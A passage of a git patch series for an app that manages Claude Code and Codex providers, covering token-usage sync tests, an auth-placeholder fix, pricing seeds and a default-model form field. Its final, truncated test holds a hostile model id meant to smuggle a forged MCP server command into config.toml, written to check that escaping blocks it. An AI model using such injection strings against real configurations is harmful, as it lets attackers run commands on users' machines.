state.thread_id.as_deref().unwrap_or("unknown"); + let request_id = format!( + "{CODEX_THREAD_REQUEST_ID_PREFIX}:{thread_id}:{}", + state.event_index + ); // 提取时间戳 let timestamp = value @@ -405,7 +570,7 @@ fn sync_single_codex_file(db: &Database, file_path: &Path) -> Result<(u32, u32), &request_id, &delta, &state.current_model, - state.session_id.as_deref(), + state.thread_id.as_deref(), timestamp.as_deref(), ) { Ok(true) => imported += 1, @@ -549,6 +714,56 @@ fn find_codex_pricing(conn: &rusqlite::Connection, model_id: &str) -> Option>() + .join("\n") + + "\n"; + fs::write(path, contents).unwrap(); + } + + fn session_meta(thread_id: &str, session_id: &str) -> serde_json::Value { + serde_json::json!({ + "timestamp": "2026-07-10T03:00:00Z", + "type": "session_meta", + "payload": { + "id": thread_id, + "session_id": session_id, + "source": if thread_id == session_id { + serde_json::Value::String("cli".to_string()) + } else { + serde_json::json!({ "subagent": {} }) + } + } + }) + } + + fn turn_context() -> serde_json::Value { + serde_json::json!({ + "timestamp": "2026-07-10T03:00:01Z", + "type": "turn_context", + "payload": { "model": "gpt-5.6-sol" } + }) + } + + fn token_count(input: u64, cached: u64, output: u64) -> serde_json::Value { + serde_json::json!({ + "timestamp": "2026-07-10T03:00:02Z", + "type": "event_msg", + "payload": { + "type": "token_count", + "info": { "total_token_usage": { + "input_tokens": input, + "cached_input_tokens": cached, + "output_tokens": output + }} + } + }) + } #[test] fn test_delta_first_event() { @@ -659,6 +874,159 @@ mod tests { assert!(files.is_empty()); } + #[test] + fn test_subagent_identity_prefers_unique_thread_id() { + let identity = + parse_codex_session_identity(session_meta("child", "parent").get("payload").unwrap()) + .unwrap(); + + assert_eq!(identity.thread_id, "child"); + assert!(identity.carries_history_snapshot); + } + + #[test] + fn test_subagent_replay_only_establishes_token_baseline() -> Result<(), AppError> { + let db = Database::memory()?; + let temp = tempdir().unwrap(); + let child = temp.path().join("child.jsonl"); + write_jsonl( + &child, + &[ + session_meta("child", "parent"), + turn_context(), + token_count(1_000, 900, 100), + token_count(1_200, 1_000, 120), + serde_json::json!({ + "timestamp": "2026-07-10T03:00:03Z", + "type": "event_msg", + "payload": { "type": "thread_settings_applied" } + }), + token_count(1_300, 1_050, 150), + ], + ); + + assert_eq!(sync_single_codex_file(&db, &child)?, (1, 2)); + + let conn = lock_conn!(db.conn); + let usage: (i64, i64, i64) = conn.query_row( + "SELECT input_tokens, cache_read_tokens, output_tokens + FROM proxy_request_logs + WHERE request_id = 'codex_session:thread-v1:child:3'", + [], + |row| Ok((row.get(0)?, row.get(1)?, row.get(2)?)), + )?; + assert_eq!(usage, (100, 50, 30)); + + Ok(()) + } + + #[test] + fn test_subagents_under_same_parent_use_distinct_request_ids() -> Result<(), AppError> { + let db = Database::memory()?; + let temp = tempdir().unwrap(); + let child_a = temp.path().join("child-a.jsonl"); + let child_b = temp.path().join("child-b.jsonl"); + write_jsonl( + &child_a, + &[ + session_meta("child-a", "parent"), + turn_context(), + token_count(100, 50, 10), + ], + ); + write_jsonl( + &child_b, + &[ + session_meta("child-b", "parent"), + turn_context(), + token_count(200, 100, 20), + ], + ); + + assert_eq!(sync_single_codex_file(&db, &child_a)?, (1, 0)); + assert_eq!(sync_single_codex_file(&db, &child_b)?, (1, 0)); + + let conn = lock_conn!(db.conn); + let request_ids = conn + .prepare( + "SELECT request_id FROM proxy_request_logs + WHERE data_source = 'codex_session' ORDER BY request_id", + )? + .query_map([], |row| row.get::<_, String>(0))? + .collect::, _>>()?; + assert_eq!( + request_ids, + vec![ + "codex_session:thread-v1:child-a:1", + "codex_session:thread-v1:child-b:1" + ] + ); + + Ok(()) + } + + #[test] + fn test_archived_log_inherits_cursor_and_only_imports_appended_usage() -> Result<(), AppError> { + let db = Database::memory()?; + let temp = tempdir().unwrap(); + let sessions = temp.path().join("sessions"); + let archived = temp.path().join("archived_sessions"); + fs::create_dir_all(&sessions).unwrap(); + fs::create_dir_all(&archived).unwrap(); + let source = sessions.join("rollout-parent.jsonl"); + let archived_file = archived.join("rollout-parent.jsonl"); + write_jsonl( + &archived_file, + &[ + session_meta("parent", "parent"), + turn_context(), + token_count(100, 50, 10), + token_count(200, 100, 20), + ], + ); + + { + let conn = lock_conn!(db.conn); + conn.execute( + "INSERT INTO proxy_request_logs ( + request_id, provider_id, app_type, model, request_model, + input_tokens, output_tokens, cache_read_tokens, + total_cost_usd, latency_ms, status_code, session_id, + created_at, data_source + ) VALUES ('codex_session:parent:2', '_codex_session', 'codex', + 'gpt-5.6-sol', 'gpt-5.6-sol', 999, 99, 0, '0', 0, + 200, 'parent', 1, 'codex_session')", + [], + )?; + } + let source_path = source.to_string_lossy().to_string(); + update_sync_state(&db, &source_path, 1, 3)?; + + assert_eq!(sync_single_codex_file(&db, &archived_file)?, (1, 0)); + assert_eq!(sync_single_codex_file(&db, &archived_file)?, (0, 0)); + + let conn = lock_conn!(db.conn); + let old_row_count: i64 = conn.query_row( + "SELECT COUNT(*) FROM proxy_request_logs + WHERE request_id = 'codex_session:parent:2'", + [], + |row| row.get(0), + )?; + assert_eq!(old_row_count, 1); + let usage: (i64, i64, i64) = conn.query_row( + "SELECT input_tokens, cache_read_tokens, output_tokens + FROM proxy_request_logs + WHERE request_id = 'codex_session:thread-v1:parent:2'", + [], + |row| Ok((row.get(0)?, row.get(1)?, row.get(2)?)), + )?; + assert_eq!(usage, (100, 50, 10)); + drop(conn); + assert_eq!(get_sync_state(&db, &archived_file.to_string_lossy())?.1, 4); + + Ok(()) + } + #[test] fn test_insert_codex_session_skips_matching_proxy_log() -> Result<(), AppError> { let db = Database::memory()?; From c6197ae32450cd70e2bf03b35e3f5f53ac12044c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A3=8E=E5=B0=911227?= Date: Sun, 12 Jul 2026 21:47:45 +0800 Subject: [PATCH 46/73] fix(proxy): inject a single auth placeholder on managed Claude takeover (#5095) Switching the Claude provider from a third-party (DeepSeek/MiMo/...) to a managed Codex provider wrote both ANTHROPIC_API_KEY and ANTHROPIC_AUTH_TOKEN as PROXY_MANAGED into ~/.claude/settings.json, making Claude Code warn "Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set - auth may not work as expected" on every run. The double key is an accretion artifact: the ManagedAccount takeover policy originally injected only ANTHROPIC_API_KEY (Copilot, #1049), and the Codex fix that preserved ANTHROPIC_AUTH_TOKEN to avoid the login prompt (#3784 / PR #3789) added the token on top without removing the API key insert. Inject exactly one placeholder instead: AUTH_TOKEN for Codex-managed providers (keeps the #3784 fix), API_KEY for Copilot (keeps the #1049 behavior). Local-proxy auth is unaffected - the forwarder resolves the PROXY_MANAGED placeholder from either header. Updates the three Codex takeover tests to assert API_KEY is absent and adds a regression test for the exact third-party -> Codex switch from the report. Fixes #4919 --- src-tauri/src/services/proxy.rs | 63 ++++++++++++++++++++++++++++----- 1 file changed, 54 insertions(+), 9 deletions(-) diff --git a/src-tauri/src/services/proxy.rs b/src-tauri/src/services/proxy.rs index 53276d276..8f420c540 100644 --- a/src-tauri/src/services/proxy.rs +++ b/src-tauri/src/services/proxy.rs @@ -192,17 +192,22 @@ impl ProxyService { for key in token_keys { env.remove(key); } - env.insert( - "ANTHROPIC_API_KEY".to_string(), - json!(PROXY_TOKEN_PLACEHOLDER), - ); + // 只注入一个认证键:两者同时存在会触发 Claude Code 的 + // "Both ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY set" 警告(#4919)。 + // - Codex 系保留 AUTH_TOKEN:缺该键 Claude Code 会弹登录提示(#3784)。 + // 无条件注入而非"已存在才保留":热切换路径传入的是 provider + // settings(预设不含该键),且旧版接管已把存量用户 live 中的键删光。 + // - Copilot 仅 API_KEY:避免与 /login 管理的 key 冲突(#1049)。 if keep_auth_token { - // 无条件注入而非"已存在才保留":热切换路径传入的是 provider - // settings(预设不含该键),且旧版接管已把存量用户 live 中的键删光。 env.insert( "ANTHROPIC_AUTH_TOKEN".to_string(), json!(PROXY_TOKEN_PLACEHOLDER), ); + } else { + env.insert( + "ANTHROPIC_API_KEY".to_string(), + json!(PROXY_TOKEN_PLACEHOLDER), + ); } } } @@ -3084,7 +3089,8 @@ mod tests { assert_env_str(env, "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME", Some("gpt-5.4")); assert_env_str(env, "ANTHROPIC_DEFAULT_OPUS_MODEL", Some("claude-opus-4-8")); assert_env_str(env, "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME", Some("gpt-5.4")); - assert_env_str(env, "ANTHROPIC_API_KEY", Some(PROXY_TOKEN_PLACEHOLDER)); + // Codex 系只保留 AUTH_TOKEN;双键会触发 Claude Code 告警(#4919) + assert_env_str(env, "ANTHROPIC_API_KEY", None); assert_env_str(env, "ANTHROPIC_AUTH_TOKEN", Some(PROXY_TOKEN_PLACEHOLDER)); } @@ -3117,7 +3123,7 @@ mod tests { .get("env") .and_then(|value| value.as_object()) .expect("env should exist"); - assert_env_str(env, "ANTHROPIC_API_KEY", Some(PROXY_TOKEN_PLACEHOLDER)); + assert_env_str(env, "ANTHROPIC_API_KEY", None); assert_env_str(env, "ANTHROPIC_AUTH_TOKEN", Some(PROXY_TOKEN_PLACEHOLDER)); } @@ -3149,10 +3155,49 @@ mod tests { .get("env") .and_then(|value| value.as_object()) .expect("env should exist"); - assert_env_str(env, "ANTHROPIC_API_KEY", Some(PROXY_TOKEN_PLACEHOLDER)); + assert_env_str(env, "ANTHROPIC_API_KEY", None); assert_env_str(env, "ANTHROPIC_AUTH_TOKEN", Some(PROXY_TOKEN_PLACEHOLDER)); } + // #4919 复现场景:从第三方 Claude 供应商(live 已有 AUTH_TOKEN)切换到 + // Codex 受管供应商时,只应保留 AUTH_TOKEN 占位符,不得同时写入 API_KEY。 + #[test] + fn managed_account_claude_takeover_codex_from_third_party_keeps_single_auth_key() { + let mut provider = Provider::with_id( + "codex".to_string(), + "Codex".to_string(), + json!({ + "env": { + "ANTHROPIC_BASE_URL": "https://chatgpt.com/backend-api/codex" + } + }), + None, + ); + provider.meta = Some(ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + ..Default::default() + }); + + let mut live_config = json!({ + "env": { + "ANTHROPIC_BASE_URL": "https://api.deepseek.com/anthropic", + "ANTHROPIC_AUTH_TOKEN": "sk-third-party" + } + }); + ProxyService::apply_claude_takeover_fields_for_provider( + &mut live_config, + "http://127.0.0.1:15721", + &provider, + ); + + let env = live_config + .get("env") + .and_then(|value| value.as_object()) + .expect("env should exist"); + assert_env_str(env, "ANTHROPIC_AUTH_TOKEN", Some(PROXY_TOKEN_PLACEHOLDER)); + assert_env_str(env, "ANTHROPIC_API_KEY", None); + } + #[test] fn managed_account_claude_takeover_copilot_removes_stale_auth_token() { let mut provider = Provider::with_id( From a7b4dd9405c89a9f7d2e200d32c75c8bf42212cb Mon Sep 17 00:00:00 2001 From: Jason Date: Fri, 10 Jul 2026 08:28:04 +0800 Subject: [PATCH 47/73] feat(pricing): seed GPT-5.6 Sol/Terra/Luna pricing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add the three GPT-5.6 tiers to seed_model_pricing, cross-checked against OpenAI's official pricing page and OpenRouter: gpt-5.6-sol 5 / 30 / 0.50 (cache read) gpt-5.6-terra 2.50 / 15 / 0.25 gpt-5.6-luna 1 / 6 / 0.10 cache_write is "0": OpenAI publishes only a cached-input (read) rate and no separate cache-write price, matching the gpt-5.x family convention. Base ids only for now — effort-suffix variants are deferred until the upstream logging suffix set for 5.6 is confirmed. New model, so seed only (no repair branch, no SCHEMA_VERSION bump). --- src-tauri/src/database/schema.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src-tauri/src/database/schema.rs b/src-tauri/src/database/schema.rs index 9ee0f7ea2..1c119995a 100644 --- a/src-tauri/src/database/schema.rs +++ b/src-tauri/src/database/schema.rs @@ -1455,6 +1455,10 @@ impl Database { "0.30", "3.75", ), + // GPT-5.6 系列(Sol / Terra / Luna,2026-06 发布) + ("gpt-5.6-sol", "GPT-5.6 Sol", "5", "30", "0.50", "0"), + ("gpt-5.6-terra", "GPT-5.6 Terra", "2.50", "15", "0.25", "0"), + ("gpt-5.6-luna", "GPT-5.6 Luna", "1", "6", "0.10", "0"), // GPT-5.5 系列 ("gpt-5.5", "GPT-5.5", "5", "30", "0.50", "0"), ("gpt-5.5-low", "GPT-5.5", "5", "30", "0.50", "0"), From 62e44c48385dd9a70f86de49151680b000662ff0 Mon Sep 17 00:00:00 2001 From: Jason Date: Fri, 10 Jul 2026 08:49:48 +0800 Subject: [PATCH 48/73] feat(pricing): seed Tencent Hunyuan Hy3 pricing Add Hunyuan Hy3 (released 2026-07-06, 256K context) to seed_model_pricing under both the hunyuan-hy3 and hy3 ids, since the upstream billing id isn't yet confirmed and one of the two should match logged usage. Prices come from Tencent's launch-day list price (CNY 1 / 4 / 0.25 per 1M input / output / cache-hit), converted at 1 USD ~= 7.14: 0.14 / 0.56 / 0.035. cache_write is "0" (no published write rate). Hy3 actually uses input-length tiered billing (<16K / 16-32K / >=32K); the single-price table holds the lowest tier, so long-context requests are under-billed until this is revisited against the official billing page. New model, so seed only. --- src-tauri/src/database/schema.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src-tauri/src/database/schema.rs b/src-tauri/src/database/schema.rs index 1c119995a..9fd8c1ae2 100644 --- a/src-tauri/src/database/schema.rs +++ b/src-tauri/src/database/schema.rs @@ -1896,6 +1896,9 @@ impl Database { "0.19", "0", ), + // 腾讯混元 (Tencent Hunyuan)(官方 CNY 1/4/0.25 按 1 USD ≈ 7.14 折算;Hy3 阶梯计价取最低档) + ("hunyuan-hy3", "Hunyuan Hy3", "0.14", "0.56", "0.035", "0"), + ("hy3", "Hunyuan Hy3", "0.14", "0.56", "0.035", "0"), // MiniMax 系列 ("minimax-m2.1", "MiniMax M2.1", "0.27", "0.95", "0.03", "0"), ( From 7479d10db77d689815a7c8e42363c28990c7bc8f Mon Sep 17 00:00:00 2001 From: Jason Date: Fri, 10 Jul 2026 10:47:07 +0800 Subject: [PATCH 49/73] feat(codex): add default model field to provider form MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Expose the top-level `model` key of config.toml as an editable field in the Codex provider form, so users can switch to newly released models (e.g. gpt-5.6) without waiting for a preset update — preset updates only affect newly added providers, existing ones keep their saved TOML. The field syncs bidirectionally with the TOML editor (mirroring the base-URL pattern), suggests models from the mapping catalog plus the provider's /models endpoint, and offers a one-click "add to mapping" action when the value is outside a non-empty catalog. Hidden for official providers. Details: - Save-time catalog sync now only backfills the first mapping row into the top-level model when the field was left empty, so the explicit field wins over the implicit row-0 sync - Escape model names (and base_url) with TOML basic-string escaping and strip control characters from field input: /models ids are remote data and unescaped interpolation could inject config.toml lines (e.g. a forged [mcp_servers.*] command) - The strict model-line matcher now recognizes escaped output, empty strings and single-quoted literals, keeping extract/set round-trips stable; deliberately no key-only loose matching (it would misfire on assignment-looking text inside multiline strings) - Invalidate the fetched model list whenever the request identity changes (base URL, full-URL toggle, API key, custom UA) and discard in-flight responses via a sequence guard, so the dropdown never shows a previous provider's models - i18n for zh/en/ja/zh-TW --- .../providers/forms/CodexFormFields.tsx | 128 +++++++++++++++++- .../providers/forms/ProviderForm.tsx | 14 +- .../forms/hooks/useCodexConfigState.ts | 31 +++++ src/i18n/locales/en.json | 5 + src/i18n/locales/ja.json | 5 + src/i18n/locales/zh-TW.json | 5 + src/i18n/locales/zh.json | 5 + src/utils/providerConfigUtils.test.ts | 97 +++++++++++++ src/utils/providerConfigUtils.ts | 84 +++++++++--- 9 files changed, 350 insertions(+), 24 deletions(-) diff --git a/src/components/providers/forms/CodexFormFields.tsx b/src/components/providers/forms/CodexFormFields.tsx index 08184829b..8cea0d88a 100644 --- a/src/components/providers/forms/CodexFormFields.tsx +++ b/src/components/providers/forms/CodexFormFields.tsx @@ -1,4 +1,4 @@ -import { useCallback, useEffect, useRef, useState } from "react"; +import { useCallback, useEffect, useMemo, useRef, useState } from "react"; import { useTranslation } from "react-i18next"; import { Button } from "@/components/ui/button"; import { FormLabel } from "@/components/ui/form"; @@ -70,6 +70,10 @@ interface CodexFormFieldsProps { autoSelect: boolean; onAutoSelectChange: (checked: boolean) => void; + // Default model (config.toml top-level `model`) + codexModel?: string; + onModelChange?: (model: string) => void; + // API Format // Note: wire_api is always "responses" for Codex; apiFormat controls proxy-layer conversion apiFormat: CodexApiFormat; @@ -166,6 +170,8 @@ export function CodexFormFields({ onCustomEndpointsChange, autoSelect, onAutoSelectChange, + codexModel = "", + onModelChange, apiFormat, onApiFormatChange, anthropicAuthField, @@ -190,6 +196,15 @@ export function CodexFormFields({ const [fetchedModels, setFetchedModels] = useState([]); const [isFetchingModels, setIsFetchingModels] = useState(false); + // 拉取请求序号:请求身份(Base URL / 完整地址开关 / API Key / 自定义 UA) + // 一变即自增,清空旧列表并作废在途响应——/models 结果可能按 Key 的模型 + // 授权返回,换号后残留旧列表会误导选择 + const fetchModelsSeqRef = useRef(0); + + useEffect(() => { + fetchModelsSeqRef.current += 1; + setFetchedModels((prev) => (prev.length === 0 ? prev : [])); + }, [codexBaseUrl, isFullUrl, codexApiKey, customUserAgent]); // 思考能力随 Chat 格式显示(仅 Chat Completions 转换路径用得上);模型映射常驻 //(填了才生成 catalog)。两者都已与「路由接管」概念解耦。 const isChatFormat = apiFormat === "openai_chat"; @@ -290,6 +305,7 @@ export function CodexFormFields({ }); return; } + const seq = ++fetchModelsSeqRef.current; setIsFetchingModels(true); fetchModelsForConfig( codexBaseUrl, @@ -299,6 +315,7 @@ export function CodexFormFields({ customUserAgent, ) .then((models) => { + if (seq !== fetchModelsSeqRef.current) return; setFetchedModels(models); if (models.length === 0) { toast.info(t("providerForm.fetchModelsEmpty")); @@ -309,6 +326,7 @@ export function CodexFormFields({ } }) .catch((err) => { + if (seq !== fetchModelsSeqRef.current) return; console.warn("[ModelFetch] Failed:", err); showFetchModelsError(err, t); }) @@ -333,6 +351,47 @@ export function CodexFormFields({ setCatalogRows((current) => current.filter((_, i) => i !== index)); }, []); + // 默认模型下拉建议 = 模型映射的"实际请求模型"列 ∪ 拉取到的 /models 列表 + const defaultModelSuggestions = useMemo(() => { + const seen = new Set(); + const suggestions: FetchedModel[] = []; + for (const row of catalogRows) { + const id = row.model.trim(); + if (!id || seen.has(id)) continue; + seen.add(id); + suggestions.push({ + id, + ownedBy: t("codexConfig.modelMappingTitle", { + defaultValue: "模型映射", + }), + }); + } + for (const model of fetchedModels) { + if (seen.has(model.id)) continue; + seen.add(model.id); + suggestions.push(model); + } + return suggestions; + }, [catalogRows, fetchedModels, t]); + + // 填了映射时才提示"默认模型不在映射中"(无映射的供应商本来就直接请求任意模型名) + const trimmedDefaultModel = codexModel.trim(); + const isDefaultModelOutsideCatalog = + catalogRows.length > 0 && + !!trimmedDefaultModel && + !catalogRows.some((row) => row.model.trim() === trimmedDefaultModel); + + const handleAddDefaultModelToCatalog = useCallback(() => { + if (!onCatalogModelsChange || !trimmedDefaultModel) return; + setCatalogRows((current) => [ + ...current, + createCatalogRow({ + model: trimmedDefaultModel, + displayName: trimmedDefaultModel, + }), + ]); + }, [onCatalogModelsChange, trimmedDefaultModel]); + const renderCatalogActionButtons = (onAdd: () => void, addLabel: string) => (
+ {defaultModelSuggestions.length > 0 && ( + onModelChange(id)} + /> + )} +
+

+ {t("codexConfig.defaultModelHint", { + defaultValue: + "Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。", + })} +

+ {isDefaultModelOutsideCatalog && ( +

+ {t("codexConfig.defaultModelNotInCatalog", { + defaultValue: + "该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。", + })} + +

+ )} +
+ )} + {/* 高级选项 —— 上游格式/模型映射/思考能力/自定义 UA;预设供应商通常无需展开 */} {category !== "official" && ( 0) { + // The default-model field writes the top-level `model` into the TOML + // as the user types; only when it was left empty fall back to the + // first catalog row so "fill mapping only" keeps its old behavior. + if ( + normalizedCatalogModels.length > 0 && + !extractCodexModelName(normalizedCodexConfig) + ) { normalizedCodexConfig = setCodexModelNameInConfig( normalizedCodexConfig, normalizedCatalogModels[0].model, @@ -2168,6 +2176,8 @@ function ProviderFormFull({ } autoSelect={endpointAutoSelect} onAutoSelectChange={setEndpointAutoSelect} + codexModel={codexModel} + onModelChange={handleCodexModelChange} apiFormat={localCodexApiFormat} onApiFormatChange={handleCodexApiFormatChange} anthropicAuthField={localCodexAnthropicAuthField} diff --git a/src/components/providers/forms/hooks/useCodexConfigState.ts b/src/components/providers/forms/hooks/useCodexConfigState.ts index f38dc282b..232dc5049 100644 --- a/src/components/providers/forms/hooks/useCodexConfigState.ts +++ b/src/components/providers/forms/hooks/useCodexConfigState.ts @@ -2,7 +2,9 @@ import { useState, useCallback, useEffect, useRef } from "react"; import { extractCodexBaseUrl, extractCodexExperimentalBearerToken, + extractCodexModelName, setCodexBaseUrl as setCodexBaseUrlInConfig, + setCodexModelName as setCodexModelNameInConfig, updateCodexExperimentalBearerToken, } from "@/utils/providerConfigUtils"; import { normalizeTomlText } from "@/utils/textNormalization"; @@ -36,12 +38,14 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { const [codexConfig, setCodexConfigState] = useState(""); const [codexApiKey, setCodexApiKey] = useState(""); const [codexBaseUrl, setCodexBaseUrl] = useState(""); + const [codexModel, setCodexModel] = useState(""); const [codexCatalogModels, setCodexCatalogModels] = useState< CodexCatalogModel[] >([]); const [codexAuthError, setCodexAuthError] = useState(""); const isUpdatingCodexBaseUrlRef = useRef(false); + const isUpdatingCodexModelRef = useRef(false); // 初始化 Codex 配置(编辑模式) useEffect(() => { @@ -133,6 +137,15 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { setCodexBaseUrl((prev) => (prev === extracted ? prev : extracted)); }, [codexConfig]); + // 与 TOML 配置保持默认模型同步(顶层 model 键) + useEffect(() => { + if (isUpdatingCodexModelRef.current) { + return; + } + const extracted = extractCodexModelName(codexConfig) || ""; + setCodexModel((prev) => (prev === extracted ? prev : extracted)); + }, [codexConfig]); + // 获取 API Key(从 auth JSON) const getCodexAuthApiKey = useCallback((authString: string): string => { try { @@ -226,6 +239,22 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { [setCodexConfig], ); + // 处理默认模型变化(写回 TOML 顶层 model;清空则删掉该行,交回 Codex 内置默认) + // 剥控制字符:值可能来自 /models 下拉(远端数据),换行等会破坏单行 TOML 语义 + const handleCodexModelChange = useCallback( + (model: string) => { + const sanitized = model.replace(/[\u0000-\u001f\u007f]/g, "").trim(); + setCodexModel(sanitized); + + isUpdatingCodexModelRef.current = true; + setCodexConfig((prev) => setCodexModelNameInConfig(prev, sanitized)); + setTimeout(() => { + isUpdatingCodexModelRef.current = false; + }, 0); + }, + [setCodexConfig], + ); + // 处理 config 变化(同步 Base URL) const handleCodexConfigChange = useCallback( (value: string) => { @@ -268,6 +297,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { codexConfig, codexApiKey, codexBaseUrl, + codexModel, codexCatalogModels, codexAuthError, setCodexAuth, @@ -275,6 +305,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) { setCodexCatalogModels, handleCodexApiKeyChange, handleCodexBaseUrlChange, + handleCodexModelChange, handleCodexConfigChange, resetCodexConfig, getCodexAuthApiKey, diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 313f5a93e..82d153475 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1307,6 +1307,11 @@ "autoCompactLimitHint": "Auto-compacts history when context reaches this token limit", "modelMetadataAdvanced": "Model Metadata Advanced Options", "modelMetadataAdvancedHint": "Overrides Codex metadata for unknown models; clearing a field removes the matching config.toml entry.", + "defaultModelLabel": "Default Model", + "defaultModelPlaceholder": "e.g. gpt-5.6", + "defaultModelHint": "The model Codex requests by default; change it anytime without waiting for a preset update. If left empty while model mapping is configured, the first mapping row is used.", + "defaultModelNotInCatalog": "This model is not in the model mapping, so the Codex /model menu won't list it (direct requests still work).", + "addToModelMapping": "Add to mapping", "modelMappingTitle": "Model Mapping", "modelMappingHint": "Generates Codex model_catalog_json so /model can show these third-party model names; entries are saved exactly as listed. Codex must be restarted to refresh the model list after changes.", "addCatalogModel": "Add Model", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 4353b5bf1..9c5625015 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1307,6 +1307,11 @@ "autoCompactLimitHint": "コンテキストトークン数がこのしきい値に達すると履歴を自動圧縮", "modelMetadataAdvanced": "モデルメタデータ詳細オプション", "modelMetadataAdvancedHint": "未知のモデル向けに Codex メタデータを上書きします。空にすると対応する config.toml 設定を削除します。", + "defaultModelLabel": "デフォルトモデル", + "defaultModelPlaceholder": "例: gpt-5.6", + "defaultModelHint": "Codex がデフォルトでリクエストするモデルです。プリセットの更新を待たずにいつでも変更できます。空欄のままモデルマッピングを設定している場合は、マッピングの先頭行が使われます。", + "defaultModelNotInCatalog": "このモデルはモデルマッピングにないため、Codex の /model メニューには表示されません(直接リクエストは有効です)。", + "addToModelMapping": "マッピングに追加", "modelMappingTitle": "モデルマッピング", "modelMappingHint": "Codex model_catalog_json を生成し、/model コマンドでこれらの第三者モデル名を表示できるようにします。リストの内容はそのまま保存されます。変更後、モデルリストを更新するには Codex の再起動が必要です。", "addCatalogModel": "モデルを追加", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index fb3821a4e..7a90cedee 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1273,6 +1273,11 @@ "maxOutputTokensLabel": "最大輸出 tokens", "maxOutputTokensPlaceholder": "留空則使用預設 8192", "maxOutputTokensHint": "Codex 不會把 model_max_output_tokens 寫進請求體,預設上限 8192 容易在長回答或深度思考時被截斷(stop_reason=max_tokens)。此處設定會作為 Anthropic 的 max_tokens 覆蓋請求值。請勿超過該模型/閘道的真實輸出上限,否則可能 400。留空使用預設 8192。", + "defaultModelLabel": "預設模型", + "defaultModelPlaceholder": "例如: gpt-5.6", + "defaultModelHint": "Codex 預設請求的模型,隨時可改,無需等待軟體更新供應商範本。留空且設定了模型映射時,預設使用映射第一行。", + "defaultModelNotInCatalog": "該模型不在模型映射中,Codex 的 /model 選單不會列出它(直接請求仍然有效)。", + "addToModelMapping": "加入映射", "modelMappingTitle": "模型映射", "modelMappingHint": "產生 Codex model_catalog_json,讓 /model 指令顯示這些第三方模型名;表中條目按填寫內容原樣儲存。修改後需要重新啟動 Codex 才能重新整理模型清單。", "addCatalogModel": "新增模型", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index c6cc6dc7f..285f0fdf7 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1307,6 +1307,11 @@ "autoCompactLimitHint": "上下文 token 数达到此阈值时自动压缩历史", "modelMetadataAdvanced": "模型元数据高级选项", "modelMetadataAdvancedHint": "用于未知模型的 Codex 元数据覆盖;清空字段会从 config.toml 删除对应配置。", + "defaultModelLabel": "默认模型", + "defaultModelPlaceholder": "例如: gpt-5.6", + "defaultModelHint": "Codex 默认请求的模型,随时可改,无需等待预设更新。留空且配置了模型映射时,默认使用映射第一行。", + "defaultModelNotInCatalog": "该模型不在模型映射中,Codex 的 /model 菜单不会列出它(直接请求仍然有效)。", + "addToModelMapping": "加入映射", "modelMappingTitle": "模型映射", "modelMappingHint": "生成 Codex model_catalog_json,让 /model 命令显示这些第三方模型名;表中条目按填写内容原样保存。修改后需要重启 Codex 才能刷新模型列表。", "addCatalogModel": "添加模型", diff --git a/src/utils/providerConfigUtils.test.ts b/src/utils/providerConfigUtils.test.ts index 7171f5d33..8ace84076 100644 --- a/src/utils/providerConfigUtils.test.ts +++ b/src/utils/providerConfigUtils.test.ts @@ -2,7 +2,9 @@ import { describe, expect, it } from "vitest"; import { codexApiFormatFromWireApi, isCodexAnthropicWireApi, + extractCodexModelName, isCodexRemoteCompactionEnabled, + setCodexModelName, setCodexRemoteCompaction, } from "./providerConfigUtils"; @@ -76,3 +78,98 @@ model = "gpt-5" expect(isCodexRemoteCompactionEnabled(input)).toBe(false); }); }); + +describe("Codex model name config helpers", () => { + const input = `# user comment +model_provider = "custom" +model = "gpt-5.5" +model_reasoning_effort = "high" + +[model_providers.custom] +name = "Example" +base_url = "https://example.com/v1" +`; + + it("extracts the top-level model", () => { + expect(extractCodexModelName(input)).toBe("gpt-5.5"); + }); + + it("ignores model keys inside sections", () => { + const sectionOnly = `[profiles.fast] +model = "gpt-5.5-mini" +`; + expect(extractCodexModelName(sectionOnly)).toBeUndefined(); + }); + + it("updates the model in place preserving comments", () => { + const result = setCodexModelName(input, "gpt-5.6"); + expect(extractCodexModelName(result)).toBe("gpt-5.6"); + expect(result).toContain("# user comment"); + expect(result).toContain(`model_reasoning_effort = "high"`); + expect(result).not.toContain("gpt-5.5"); + }); + + it("inserts a model line when absent", () => { + const withoutModel = `model_provider = "custom" + +[model_providers.custom] +name = "Example" +`; + const result = setCodexModelName(withoutModel, "gpt-5.6"); + expect(extractCodexModelName(result)).toBe("gpt-5.6"); + }); + + it("removes the top-level model line when cleared", () => { + const result = setCodexModelName(input, ""); + expect(extractCodexModelName(result)).toBeUndefined(); + expect(result).toContain(`model_provider = "custom"`); + }); + + it("escapes hostile model ids instead of injecting TOML lines", () => { + // /models 下拉的 id 来自远端响应;换行注入若不转义会成为独立 TOML 行 + const hostile = 'evil"\n[mcp_servers.pwn]\ncommand = 